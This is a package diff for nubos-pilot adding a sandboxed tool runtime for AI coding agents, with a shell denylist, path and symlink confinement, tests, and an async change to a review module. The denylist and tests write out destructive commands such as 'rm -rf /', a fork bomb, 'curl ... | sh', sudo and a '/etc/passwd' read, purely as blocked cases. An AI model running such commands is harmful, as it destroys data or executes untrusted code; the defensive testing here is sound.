nubos-pilot 1.2.4 → 1.3.0

package/lib/runtime/tools/index.cjs

@@ -0,0 +1,415 @@
+'use strict';
+
+const fs = require('node:fs');
+const path = require('node:path');
+const { spawnSync } = require('node:child_process');
+const { NubosPilotError } = require('../../core.cjs');
+const { assertInsideBase } = require('../../safe-path.cjs');
+const { scanContent, _looksCatastrophic } = require('../../security/scan.cjs');
+const { search: knowledgeSearch } = require('../../knowledge.cjs');
+const { recordSearchEvidence } = require('../../nubosloop-audit.cjs');
+
+const MAX_FILE_BYTES = 1024 * 1024;
+const MAX_READ_LINES = 2000;
+const MAX_GREP_MATCHES = 200;
+const MAX_GLOB_RESULTS = 500;
+const MAX_WALK_ENTRIES = 20000;
+const IGNORE_DIRS = new Set(['node_modules', '.git', 'coverage', '.next', 'dist', 'build', 'vendor']);
+
+const DEFAULT_BASH_TIMEOUT_MS = 120000;
+const MAX_BASH_OUTPUT = 30000;
+
+const BASH_DENYLIST = [
+  { re: /\brm\s+(-[a-z]*\s+)*-[a-z]*[rf][a-z]*\s+(-[a-z]+\s+)*(\/|~|\/\*|\$HOME)(\s|$)/, why: 'recursive delete of / or $HOME' },
+  { re: /:\(\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:/, why: 'fork bomb' },
+  { re: /\bmkfs(\.\w+)?\b/, why: 'filesystem format' },
+  { re: /\bdd\b[^\n]*\bof=\/dev\//, why: 'raw write to a device' },
+  { re: />\s*\/dev\/(sd|nvme|disk)/, why: 'redirect into a block device' },
+  { re: /\b(curl|wget)\b[^\n|]*\|\s*(sudo\s+)?(sh|bash|zsh)\b/, why: 'pipe-from-network into a shell' },
+  { re: /\bsudo\b/, why: 'privilege escalation' },
+  { re: /\bchmod\s+(-R\s+)?0?777\s+\//, why: 'world-writable on /' },
+  { re: /\bgit\b[^\n]*\bpush\b/, why: 'git push (publishing is out of scope for an executor)' },
+];
+
+function _looksBinary(buf) {
+  const n = Math.min(buf.length, 8000);
+  for (let i = 0; i < n; i++) if (buf[i] === 0) return true;
+  return false;
+}
+
+function _walk(root, onFile) {
+  let count = 0;
+  const stack = [root];
+  while (stack.length) {
+    const dir = stack.pop();
+    let entries;
+    try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { continue; }
+    for (const ent of entries) {
+      if (++count > MAX_WALK_ENTRIES) return;
+      const full = path.join(dir, ent.name);
+      if (ent.isDirectory()) {
+        if (!IGNORE_DIRS.has(ent.name) && !ent.name.startsWith('.')) stack.push(full);
+      } else if (ent.isFile()) {
+        onFile(full);
+      }
+    }
+  }
+}
+
+function _globToRegex(glob) {
+  let re = '';
+  for (let i = 0; i < glob.length; i++) {
+    const c = glob[i];
+    if (c === '*') {
+      if (glob[i + 1] === '*') { re += '.*'; i++; if (glob[i + 1] === '/') i++; }
+      else re += '[^/]*';
+    } else if (c === '?') {
+      re += '[^/]';
+    } else {
+      re += c.replace(/[.+^${}()|[\]\\]/g, '\\$&');
+    }
+  }
+  return new RegExp('^' + re + '$');
+}
+
+function _read(args, ctx) {
+  const rel = args && args.path;
+  if (typeof rel !== 'string' || !rel) throw new NubosPilotError('tool-bad-args', 'Read requires a "path"', {});
+  const abs = assertInsideBase(ctx.cwd, rel, 'Read path');
+  const stat = fs.statSync(abs);
+  if (stat.size > MAX_FILE_BYTES) throw new NubosPilotError('tool-file-too-large', 'file exceeds 1MB: ' + path.basename(abs), {});
+  const buf = fs.readFileSync(abs);
+  if (_looksBinary(buf)) return '[binary file omitted: ' + path.basename(abs) + ']';
+  const lines = buf.toString('utf-8').split('\n');
+  const offset = Math.max(0, (args && Number(args.offset)) || 0);
+  const limit = Math.min(MAX_READ_LINES, (args && Number(args.limit)) || MAX_READ_LINES);
+  const slice = lines.slice(offset, offset + limit);
+  return slice.map((l, i) => (offset + i + 1) + '\t' + l).join('\n');
+}
+
+function _glob(args, ctx) {
+  const pattern = (args && args.pattern) || '**/*';
+  const re = _globToRegex(pattern);
+  const matches = [];
+  _walk(ctx.cwd, (full) => {
+    if (matches.length >= MAX_GLOB_RESULTS) return;
+    const relPath = path.relative(ctx.cwd, full);
+    if (re.test(relPath)) matches.push(relPath);
+  });
+  matches.sort();
+  if (!matches.length) return 'no files match: ' + pattern;
+  return matches.join('\n');
+}
+
+function _grep(args, ctx) {
+  const pattern = args && args.pattern;
+  if (typeof pattern !== 'string' || !pattern) throw new NubosPilotError('tool-bad-args', 'Grep requires a "pattern"', {});
+  if (_looksCatastrophic(pattern)) {
+    throw new NubosPilotError('tool-bad-args', 'Grep pattern rejected as potentially catastrophic (ReDoS)', {});
+  }
+  let re;
+  try { re = new RegExp(pattern, (args && args.ignore_case) ? 'i' : ''); }
+  catch { throw new NubosPilotError('tool-bad-args', 'Grep pattern is not a valid regex', {}); }
+  const globRe = (args && args.glob) ? _globToRegex(args.glob) : null;
+  const out = [];
+  _walk(ctx.cwd, (full) => {
+    if (out.length >= MAX_GREP_MATCHES) return;
+    const relPath = path.relative(ctx.cwd, full);
+    if (globRe && !globRe.test(relPath)) return;
+    let buf;
+    try { buf = fs.readFileSync(full); } catch { return; }
+    if (buf.length > MAX_FILE_BYTES || _looksBinary(buf)) return;
+    const lines = buf.toString('utf-8').split('\n');
+    for (let i = 0; i < lines.length; i++) {
+      if (out.length >= MAX_GREP_MATCHES) break;
+      if (re.test(lines[i])) out.push(relPath + ':' + (i + 1) + ':' + lines[i].slice(0, 300));
+    }
+  });
+  if (!out.length) return 'no matches for /' + pattern + '/';
+  return out.join('\n');
+}
+
+function _scanNote(relPath, content, ctx) {
+  let res;
+  try { res = scanContent({ filePath: relPath, content, customRulesPath: ctx && ctx.customRulesPath }); }
+  catch { return '\n[security] scan unavailable for this write (scanner error) — content NOT verified'; }
+  const findings = (res && res.findings) || [];
+  if (!findings.length) return '';
+  const lines = findings.slice(0, 10).map((f) => '  - ' + f.severity + ' ' + f.category + ' @ line ' + f.line + ': ' + f.rule_name);
+  return '\n[security] ' + findings.length + ' finding(s) in the written content — review before relying on it:\n' + lines.join('\n');
+}
+
+function _assertNotSymlinkLeaf(abs, label) {
+  let lst;
+  try { lst = fs.lstatSync(abs); } catch { return; }
+  if (lst.isSymbolicLink()) {
+    throw new NubosPilotError('tool-path-symlink', label + ' resolves to a symlink — refused (workspace confinement)', { file: path.basename(abs) });
+  }
+}
+
+function _write(args, ctx) {
+  const rel = args && args.path;
+  if (typeof rel !== 'string' || !rel) throw new NubosPilotError('tool-bad-args', 'Write requires a "path"', {});
+  if (typeof (args && args.content) !== 'string') throw new NubosPilotError('tool-bad-args', 'Write requires string "content"', {});
+  const abs = assertInsideBase(ctx.cwd, rel, 'Write path');
+  _assertNotSymlinkLeaf(abs, 'Write path');
+  fs.mkdirSync(path.dirname(abs), { recursive: true });
+  fs.writeFileSync(abs, args.content, 'utf-8');
+  return 'wrote ' + rel + ' (' + Buffer.byteLength(args.content, 'utf-8') + ' bytes)' + _scanNote(rel, args.content, ctx);
+}
+
+function _edit(args, ctx) {
+  const rel = args && args.path;
+  const oldStr = args && args.old_string;
+  const newStr = args && args.new_string;
+  if (typeof rel !== 'string' || !rel) throw new NubosPilotError('tool-bad-args', 'Edit requires a "path"', {});
+  if (typeof oldStr !== 'string' || typeof newStr !== 'string') {
+    throw new NubosPilotError('tool-bad-args', 'Edit requires string "old_string" and "new_string"', {});
+  }
+  const abs = assertInsideBase(ctx.cwd, rel, 'Edit path');
+  _assertNotSymlinkLeaf(abs, 'Edit path');
+  const stat = fs.statSync(abs);
+  if (stat.size > MAX_FILE_BYTES) throw new NubosPilotError('tool-file-too-large', 'file exceeds 1MB: ' + path.basename(abs), {});
+  const before = fs.readFileSync(abs, 'utf-8');
+  const replaceAll = !!(args && args.replace_all);
+  const occurrences = before.split(oldStr).length - 1;
+  if (occurrences === 0) throw new NubosPilotError('tool-edit-no-match', 'old_string not found in ' + rel, {});
+  if (occurrences > 1 && !replaceAll) {
+    throw new NubosPilotError('tool-edit-ambiguous', 'old_string occurs ' + occurrences + 'x in ' + rel + ' — pass replace_all or make it unique', {});
+  }
+  const after = replaceAll
+    ? before.split(oldStr).join(newStr)
+    : (() => { const idx = before.indexOf(oldStr); return before.slice(0, idx) + newStr + before.slice(idx + oldStr.length); })();
+  fs.writeFileSync(abs, after, 'utf-8');
+  return 'edited ' + rel + ' (' + (replaceAll ? occurrences + ' replacements' : '1 replacement') + ')' + _scanNote(rel, after, ctx);
+}
+
+function _bash(args, ctx) {
+  const cmd = args && args.command;
+  if (typeof cmd !== 'string' || !cmd.trim()) throw new NubosPilotError('tool-bad-args', 'Bash requires a "command"', {});
+  for (const entry of BASH_DENYLIST) {
+    if (entry.re.test(cmd)) return 'Error: bash-command-blocked: ' + entry.why;
+  }
+  const timeout = Math.min(600000, Math.max(1000, (ctx && Number(ctx.bashTimeoutMs)) || (args && Number(args.timeout_ms)) || DEFAULT_BASH_TIMEOUT_MS));
+  const res = spawnSync('/bin/sh', ['-c', cmd], {
+    cwd: ctx.cwd,
+    timeout,
+    encoding: 'utf-8',
+    maxBuffer: MAX_BASH_OUTPUT * 4,
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
+  if (res.error) {
+    if (res.error.code === 'ETIMEDOUT') return 'Error: bash-timeout: command exceeded ' + timeout + 'ms';
+    return 'Error: bash-spawn-failed: ' + (res.error.code || res.error.message);
+  }
+  let out = (res.stdout || '') + (res.stderr || '');
+  let truncated = '';
+  if (out.length > MAX_BASH_OUTPUT) { out = out.slice(0, MAX_BASH_OUTPUT); truncated = '\n[output truncated at ' + MAX_BASH_OUTPUT + ' chars]'; }
+  const code = res.status == null ? '?' : res.status;
+  return '[exit ' + code + ']\n' + out + truncated;
+}
+
+function _knowledgeSearch(args, ctx) {
+  const query = args && (args.query || args.q);
+  if (typeof query !== 'string' || !query.trim()) {
+    throw new NubosPilotError('tool-bad-args', 'knowledge-search requires a "query"', {});
+  }
+  const limit = Math.min(50, Math.max(1, (args && Number(args.limit)) || 10));
+  if (ctx && ctx.taskId) {
+    try { recordSearchEvidence(ctx.taskId, query, ctx.cwd); } catch {}
+  }
+  let res;
+  try { res = knowledgeSearch(query, ctx.cwd, { limit }); }
+  catch (err) { return 'knowledge-search: index unavailable (' + ((err && err.code) || 'error') + ')'; }
+  const hits = (res && res.hits) || [];
+  if (!hits.length) return 'knowledge-search: no results for "' + query + '"';
+  return hits.map((h) => h.rel_path + ':' + h.line_start + ' (score ' + h.score + ')\n  ' + String(h.preview || '').slice(0, 200)).join('\n');
+}
+
+const TOOLS = {
+  'knowledge-search': {
+    run: _knowledgeSearch,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'knowledge-search',
+        description: 'Search the project knowledge base (codebase docs, prior learnings) before writing code. Returns ranked "path:line (score)" hits. Call this first — it satisfies the Rule-9 search bar.',
+        parameters: {
+          type: 'object',
+          properties: {
+            query: { type: 'string', description: 'Free-text search query.' },
+            limit: { type: 'integer', description: 'Max hits (default 10).' },
+          },
+          required: ['query'],
+        },
+      },
+    },
+  },
+  Read: {
+    run: _read,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Read',
+        description: 'Read a file from the workspace. Returns up to 2000 lines, each prefixed with its 1-based line number.',
+        parameters: {
+          type: 'object',
+          properties: {
+            path: { type: 'string', description: 'Workspace-relative file path.' },
+            offset: { type: 'integer', description: 'Zero-based line to start from.' },
+            limit: { type: 'integer', description: 'Maximum number of lines to return.' },
+          },
+          required: ['path'],
+        },
+      },
+    },
+  },
+  Glob: {
+    run: _glob,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Glob',
+        description: 'List workspace files matching a glob (supports *, **, ?). Ignores node_modules/.git/vendor and dotdirs.',
+        parameters: {
+          type: 'object',
+          properties: { pattern: { type: 'string', description: 'Glob pattern, e.g. "src/**/*.ts".' } },
+          required: ['pattern'],
+        },
+      },
+    },
+  },
+  Grep: {
+    run: _grep,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Grep',
+        description: 'Search workspace file contents by regex. Returns up to 200 "relpath:line:text" matches.',
+        parameters: {
+          type: 'object',
+          properties: {
+            pattern: { type: 'string', description: 'JavaScript regular expression.' },
+            glob: { type: 'string', description: 'Optional glob to restrict which files are scanned.' },
+            ignore_case: { type: 'boolean', description: 'Case-insensitive match.' },
+          },
+          required: ['pattern'],
+        },
+      },
+    },
+  },
+  Write: {
+    run: _write,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Write',
+        description: 'Create or overwrite a workspace file with the given content. Confined to the workspace; content is security-scanned.',
+        parameters: {
+          type: 'object',
+          properties: {
+            path: { type: 'string', description: 'Workspace-relative file path.' },
+            content: { type: 'string', description: 'Full file content to write.' },
+          },
+          required: ['path', 'content'],
+        },
+      },
+    },
+  },
+  Edit: {
+    run: _edit,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Edit',
+        description: 'Replace an exact string in a workspace file. old_string must be unique unless replace_all is set.',
+        parameters: {
+          type: 'object',
+          properties: {
+            path: { type: 'string', description: 'Workspace-relative file path.' },
+            old_string: { type: 'string', description: 'Exact text to replace.' },
+            new_string: { type: 'string', description: 'Replacement text.' },
+            replace_all: { type: 'boolean', description: 'Replace every occurrence instead of requiring uniqueness.' },
+          },
+          required: ['path', 'old_string', 'new_string'],
+        },
+      },
+    },
+  },
+  Bash: {
+    run: _bash,
+    schema: {
+      type: 'function',
+      function: {
+        name: 'Bash',
+        description: 'Run a shell command in the workspace. Timed out and output-capped; catastrophic commands are blocked. Returns "[exit N]\\n<output>".',
+        parameters: {
+          type: 'object',
+          properties: {
+            command: { type: 'string', description: 'Shell command to execute.' },
+            timeout_ms: { type: 'integer', description: 'Optional timeout (ms), capped at 600000.' },
+          },
+          required: ['command'],
+        },
+      },
+    },
+  },
+};
+
+const READ_ONLY_TOOL_NAMES = Object.freeze(['Read', 'Glob', 'Grep']);
+const MUTATING_TOOL_NAMES = Object.freeze(['Write', 'Edit']);
+const SEARCH_TOOL_NAME = 'knowledge-search';
+const IMPLEMENTED_TOOL_NAMES = Object.freeze([...READ_ONLY_TOOL_NAMES, ...MUTATING_TOOL_NAMES, 'Bash', SEARCH_TOOL_NAME]);
+
+function toolsetFor(declaredNames, opts) {
+  const o = opts || {};
+  const declared = Array.isArray(declaredNames) ? declaredNames : [];
+  let allowed = READ_ONLY_TOOL_NAMES.slice();
+  if (!o.readOnly) {
+    allowed = allowed.concat(MUTATING_TOOL_NAMES);
+    if (o.allowBash === true) allowed.push('Bash');
+  }
+  const names = declared.filter((n) => allowed.includes(n));
+  if (o.withSearch && !names.includes(SEARCH_TOOL_NAME)) names.push(SEARCH_TOOL_NAME);
+  const extraCtx = o.ctx || {};
+  return {
+    names,
+    schemas: names.map((n) => TOOLS[n].schema),
+    execute(name, argsJson, ctx) {
+      return execute(name, argsJson, Object.assign({}, extraCtx, ctx), names);
+    },
+  };
+}
+
+function execute(name, argsJson, ctx, allowed) {
+  if (allowed && !allowed.includes(name)) {
+    return 'Error: tool "' + name + '" is not available to this agent';
+  }
+  const tool = TOOLS[name];
+  if (!tool) return 'Error: unknown tool "' + name + '"';
+  let args = {};
+  if (typeof argsJson === 'string' && argsJson.trim()) {
+    try { args = JSON.parse(argsJson); }
+    catch { return 'Error: tool "' + name + '" received arguments that are not valid JSON'; }
+  } else if (argsJson && typeof argsJson === 'object') {
+    args = argsJson;
+  }
+  try {
+    return String(tool.run(args, ctx || { cwd: process.cwd() }));
+  } catch (err) {
+    if (err && err.name === 'NubosPilotError') return 'Error: ' + err.code + ': ' + err.message;
+    return 'Error: ' + ((err && err.message) || 'tool execution failed');
+  }
+}
+
+module.exports = {
+  TOOLS,
+  READ_ONLY_TOOL_NAMES,
+  MUTATING_TOOL_NAMES,
+  SEARCH_TOOL_NAME,
+  IMPLEMENTED_TOOL_NAMES,
+  BASH_DENYLIST,
+  toolsetFor,
+  execute,
+  _globToRegex,
+};

package/lib/runtime/tools/index.test.cjs

@@ -0,0 +1,230 @@
+const fs = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+const { test, afterEach } = require('node:test');
+const assert = require('node:assert/strict');
+
+const { toolsetFor, execute, _globToRegex, READ_ONLY_TOOL_NAMES, MUTATING_TOOL_NAMES } = require('./index.cjs');
+
+const _dirs = [];
+function _ws(files) {
+  const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'np-tools-')));
+  for (const [rel, content] of Object.entries(files)) {
+    const abs = path.join(root, rel);
+    fs.mkdirSync(path.dirname(abs), { recursive: true });
+    fs.writeFileSync(abs, content, 'utf-8');
+  }
+  _dirs.push(root);
+  return root;
+}
+afterEach(() => { while (_dirs.length) { try { fs.rmSync(_dirs.pop(), { recursive: true, force: true }); } catch {} } });
+
+test('TOOL-1: Read returns line-numbered content', () => {
+  const cwd = _ws({ 'a.txt': 'one\ntwo\nthree' });
+  const out = execute('Read', { path: 'a.txt' }, { cwd });
+  assert.equal(out, '1\tone\n2\ttwo\n3\tthree');
+});
+
+test('TOOL-2: Read honours offset/limit', () => {
+  const cwd = _ws({ 'a.txt': 'l1\nl2\nl3\nl4' });
+  const out = execute('Read', { path: 'a.txt', offset: 1, limit: 2 }, { cwd });
+  assert.equal(out, '2\tl2\n3\tl3');
+});
+
+test('TOOL-3: Read outside cwd is refused (safe-path)', () => {
+  const cwd = _ws({ 'a.txt': 'x' });
+  const out = execute('Read', { path: '../../etc/passwd' }, { cwd });
+  assert.match(out, /^Error: safe-path-outside-base/);
+});
+
+test('TOOL-4: Glob matches by pattern, ignores node_modules', () => {
+  const cwd = _ws({ 'src/a.ts': '', 'src/b.ts': '', 'node_modules/x/c.ts': '', 'readme.md': '' });
+  const out = execute('Glob', { pattern: 'src/**/*.ts' }, { cwd });
+  assert.equal(out, 'src/a.ts\nsrc/b.ts');
+});
+
+test('TOOL-5: Grep returns relpath:line:text matches', () => {
+  const cwd = _ws({ 'a.js': 'const x = 1\nfunction foo() {}\n', 'b.js': 'function bar() {}\n' });
+  const out = execute('Grep', { pattern: 'function (\\w+)' }, { cwd });
+  const lines = out.split('\n').sort();
+  assert.deepEqual(lines, ['a.js:2:function foo() {}', 'b.js:1:function bar() {}']);
+});
+
+test('TOOL-6: Grep with glob restricts scanned files', () => {
+  const cwd = _ws({ 'a.js': 'needle\n', 'b.ts': 'needle\n' });
+  const out = execute('Grep', { pattern: 'needle', glob: '*.ts' }, { cwd });
+  assert.equal(out, 'b.ts:1:needle');
+});
+
+test('TOOL-7: execute returns error string (not throw) on bad JSON args', () => {
+  const cwd = _ws({});
+  const out = execute('Read', '{not json', { cwd });
+  assert.match(out, /not valid JSON/);
+});
+
+test('TOOL-8: execute rejects a tool not in the allowed set', () => {
+  const cwd = _ws({});
+  const out = execute('Bash', { cmd: 'ls' }, { cwd }, ['Read', 'Glob']);
+  assert.match(out, /not available/);
+});
+
+test('TOOL-9: toolsetFor intersects declared tools; Bash is OPT-IN (off by default)', () => {
+  const ts = toolsetFor(['Read', 'Write', 'Bash', 'Grep', 'WebFetch']);
+  assert.deepEqual(ts.names, ['Read', 'Write', 'Grep']);
+  assert.equal(ts.schemas[0].function.name, 'Read');
+});
+
+test('TOOL-9b: readOnly mode excludes mutating tools and Bash', () => {
+  const ts = toolsetFor(['Read', 'Write', 'Edit', 'Bash', 'Grep'], { readOnly: true });
+  assert.deepEqual(ts.names, ['Read', 'Grep']);
+});
+
+test('TOOL-9c: allowBash:true is required to include Bash', () => {
+  assert.deepEqual(toolsetFor(['Read', 'Write', 'Edit', 'Bash']).names, ['Read', 'Write', 'Edit']);
+  assert.deepEqual(toolsetFor(['Read', 'Write', 'Edit', 'Bash'], { allowBash: true }).names, ['Read', 'Write', 'Edit', 'Bash']);
+});
+
+test('TOOL-10: toolset.execute enforces the agent allow-list', () => {
+  const cwd = _ws({ 'a.txt': 'hi' });
+  const ts = toolsetFor(['Read']);
+  assert.equal(ts.execute('Read', { path: 'a.txt' }, { cwd }), '1\thi');
+  assert.match(ts.execute('Grep', { pattern: 'x' }, { cwd }), /not available/);
+});
+
+test('TOOL-11: _globToRegex handles *, **, ?', () => {
+  assert.ok(_globToRegex('*.ts').test('a.ts'));
+  assert.ok(!_globToRegex('*.ts').test('src/a.ts'));
+  assert.ok(_globToRegex('src/**/*.ts').test('src/x/y/a.ts'));
+  assert.ok(_globToRegex('a?.js').test('ab.js'));
+});
+
+test('TOOL-12: READ_ONLY / MUTATING tool-name sets are the expected closed sets', () => {
+  assert.deepEqual(READ_ONLY_TOOL_NAMES, ['Read', 'Glob', 'Grep']);
+  assert.deepEqual(MUTATING_TOOL_NAMES, ['Write', 'Edit']);
+});
+
+test('TOOL-13: Write creates a file (and reports byte count)', () => {
+  const cwd = _ws({});
+  const out = execute('Write', { path: 'sub/new.txt', content: 'hello world' }, { cwd });
+  assert.match(out, /^wrote sub\/new\.txt \(11 bytes\)/);
+  assert.equal(fs.readFileSync(path.join(cwd, 'sub/new.txt'), 'utf-8'), 'hello world');
+});
+
+test('TOOL-14: Write outside cwd is refused', () => {
+  const cwd = _ws({});
+  const out = execute('Write', { path: '../escape.txt', content: 'x' }, { cwd });
+  assert.match(out, /^Error: safe-path-outside-base/);
+  assert.ok(!fs.existsSync(path.join(cwd, '../escape.txt')));
+});
+
+test('TOOL-15: Write surfaces a security finding without blocking the write', () => {
+  const cwd = _ws({});
+  const out = execute('Write', { path: 'danger.js', content: 'const x = eval(userInput)\n' }, { cwd });
+  assert.match(out, /\[security\] \d+ finding/);
+  assert.ok(fs.existsSync(path.join(cwd, 'danger.js')));
+});
+
+test('TOOL-16: Edit replaces a unique string', () => {
+  const cwd = _ws({ 'a.txt': 'foo bar baz' });
+  const out = execute('Edit', { path: 'a.txt', old_string: 'bar', new_string: 'QUX' }, { cwd });
+  assert.match(out, /edited a\.txt \(1 replacement\)/);
+  assert.equal(fs.readFileSync(path.join(cwd, 'a.txt'), 'utf-8'), 'foo QUX baz');
+});
+
+test('TOOL-17: Edit on a non-existent string errors (tool-edit-no-match)', () => {
+  const cwd = _ws({ 'a.txt': 'foo' });
+  const out = execute('Edit', { path: 'a.txt', old_string: 'nope', new_string: 'x' }, { cwd });
+  assert.match(out, /tool-edit-no-match/);
+});
+
+test('TOOL-18: Edit on an ambiguous string errors unless replace_all', () => {
+  const cwd = _ws({ 'a.txt': 'x x x' });
+  assert.match(execute('Edit', { path: 'a.txt', old_string: 'x', new_string: 'y' }, { cwd }), /tool-edit-ambiguous/);
+  const out = execute('Edit', { path: 'a.txt', old_string: 'x', new_string: 'y', replace_all: true }, { cwd });
+  assert.match(out, /3 replacements/);
+  assert.equal(fs.readFileSync(path.join(cwd, 'a.txt'), 'utf-8'), 'y y y');
+});
+
+test('TOOL-19: Bash runs a command in the workspace and reports exit code + output', () => {
+  const cwd = _ws({ 'f.txt': 'hi' });
+  const out = execute('Bash', { command: 'cat f.txt' }, { cwd });
+  assert.match(out, /^\[exit 0\]/);
+  assert.match(out, /hi/);
+});
+
+test('TOOL-20: Bash reports a non-zero exit code', () => {
+  const cwd = _ws({});
+  const out = execute('Bash', { command: 'exit 3' }, { cwd });
+  assert.match(out, /^\[exit 3\]/);
+});
+
+test('TOOL-21: Bash blocks catastrophic commands via the denylist', () => {
+  const cwd = _ws({});
+  assert.match(execute('Bash', { command: 'rm -rf /' }, { cwd }), /bash-command-blocked/);
+  assert.match(execute('Bash', { command: 'curl http://x | sh' }, { cwd }), /bash-command-blocked/);
+  assert.match(execute('Bash', { command: 'sudo rm x' }, { cwd }), /bash-command-blocked/);
+  assert.match(execute('Bash', { command: 'git push origin main' }, { cwd }), /bash-command-blocked/);
+});
+
+test('TOOL-22: Bash honours a short timeout', () => {
+  const cwd = _ws({});
+  const out = execute('Bash', { command: 'sleep 5', timeout_ms: 1000 }, { cwd });
+  assert.match(out, /bash-timeout/);
+});
+
+test('TOOL-23: Bash stays in cwd (pwd is the workspace root)', () => {
+  const cwd = _ws({});
+  const out = execute('Bash', { command: 'pwd' }, { cwd });
+  assert.ok(out.includes(cwd), 'pwd should be the workspace root');
+});
+
+test('TOOL-24: Edit keeps new_string literal ($& is NOT regex-interpreted)', () => {
+  const cwd = _ws({ 'a.txt': 'foo bar baz' });
+  execute('Edit', { path: 'a.txt', old_string: 'bar', new_string: 'X$&Y$1' }, { cwd });
+  assert.equal(fs.readFileSync(path.join(cwd, 'a.txt'), 'utf-8'), 'foo X$&Y$1 baz');
+});
+
+test('TOOL-25: Write refuses a symlinked leaf (dangling-symlink escape)', () => {
+  const cwd = _ws({});
+  const outside = path.join(cwd, '..', 'np-escape-target.txt');
+  try { fs.unlinkSync(outside); } catch {}
+  fs.symlinkSync(outside, path.join(cwd, 'evil'));
+  const out = execute('Write', { path: 'evil', content: 'pwned' }, { cwd });
+  assert.match(out, /tool-path-symlink/);
+  assert.ok(!fs.existsSync(outside), 'must not have written through the symlink');
+});
+
+test('TOOL-26: Edit refuses a symlinked leaf', () => {
+  const cwd = _ws({});
+  const outside = path.join(cwd, '..', 'np-escape-edit.txt');
+  fs.writeFileSync(outside, 'original', 'utf-8');
+  fs.symlinkSync(outside, path.join(cwd, 'evil'));
+  const out = execute('Edit', { path: 'evil', old_string: 'original', new_string: 'pwned' }, { cwd });
+  assert.match(out, /tool-path-symlink|safe-path-outside-base/);
+  assert.equal(fs.readFileSync(outside, 'utf-8'), 'original');
+  fs.unlinkSync(outside);
+});
+
+test('TOOL-27: Grep rejects a catastrophic (ReDoS) pattern', () => {
+  const cwd = _ws({ 'a.txt': 'x' });
+  const out = execute('Grep', { pattern: '(a+)+$' }, { cwd });
+  assert.match(out, /catastrophic|ReDoS|tool-bad-args/);
+});
+
+test('TOOL-28: withSearch injects knowledge-search even when undeclared', () => {
+  assert.ok(!toolsetFor(['Read', 'Write']).names.includes('knowledge-search'));
+  const ts = toolsetFor(['Read', 'Write'], { withSearch: true });
+  assert.ok(ts.names.includes('knowledge-search'));
+  assert.ok(ts.schemas.some((s) => s.function.name === 'knowledge-search'));
+});
+
+test('TOOL-29: knowledge-search records search evidence when a taskId is in ctx', () => {
+  const cwd = _ws({});
+  fs.mkdirSync(path.join(cwd, '.nubos-pilot'), { recursive: true });
+  const taskId = 'M001-S001-T0001';
+  const ts = toolsetFor(['Read'], { withSearch: true, ctx: { taskId } });
+  const out = ts.execute('knowledge-search', { query: 'authentication' }, { cwd });
+  assert.match(out, /knowledge-search:/);
+  const { searchEvidenceForRound } = require('../../nubosloop-audit.cjs');
+  assert.ok(searchEvidenceForRound(taskId, 1, cwd).length > 0, 'evidence must be recorded for the round');
+});

package/lib/security/review.cjs

@@ -149,7 +149,7 @@ function _stripFence(s) {
   return m ? m[1] : s;
 }
 
-function _defaultSpawn(promptText, opts) {
+async function _defaultSpawn(promptText, opts) {
   const spawnHeadless = require('../../bin/np-tools/spawn-headless.cjs');
   const tmp = os.tmpdir();
   const tag = process.pid + '-' + crypto.randomBytes(4).toString('hex');
@@ -158,7 +158,7 @@ function _defaultSpawn(promptText, opts) {
   fs.writeFileSync(promptPath, promptText, 'utf-8');
   const captured = [];
   try {
-    spawnHeadless.run(
+    await spawnHeadless.run(
       ['--agent', REVIEWER_AGENT, '--prompt-path', promptPath, '--output-path', outputPath,
         '--timeout-ms', String(opts.timeoutMs)],
       { cwd: opts.cwd, stdout: { write: (s) => captured.push(s) } },
@@ -170,7 +170,7 @@ function _defaultSpawn(promptText, opts) {
   }
 }
 
-function runReview(opts) {
+async function runReview(opts) {
   const o = opts || {};
   const cwd = o.cwd || process.cwd();
   const sid = o.sid;
@@ -198,7 +198,7 @@ function runReview(opts) {
       diffText: diff.diffText, guidancePath: config.guidance_path,
     });
 
-    const raw = spawn(promptText, { cwd, timeoutMs: config.review_timeout_ms || 180000 });
+    const raw = await spawn(promptText, { cwd, timeoutMs: config.review_timeout_ms || 180000 });
     const parsed = parseReviewerOutput(raw);
     const risks = parsed.findings.filter((f) => f.severity === 'risk');
     const merged = ledger.addReviewFindings(sid, risks, mode);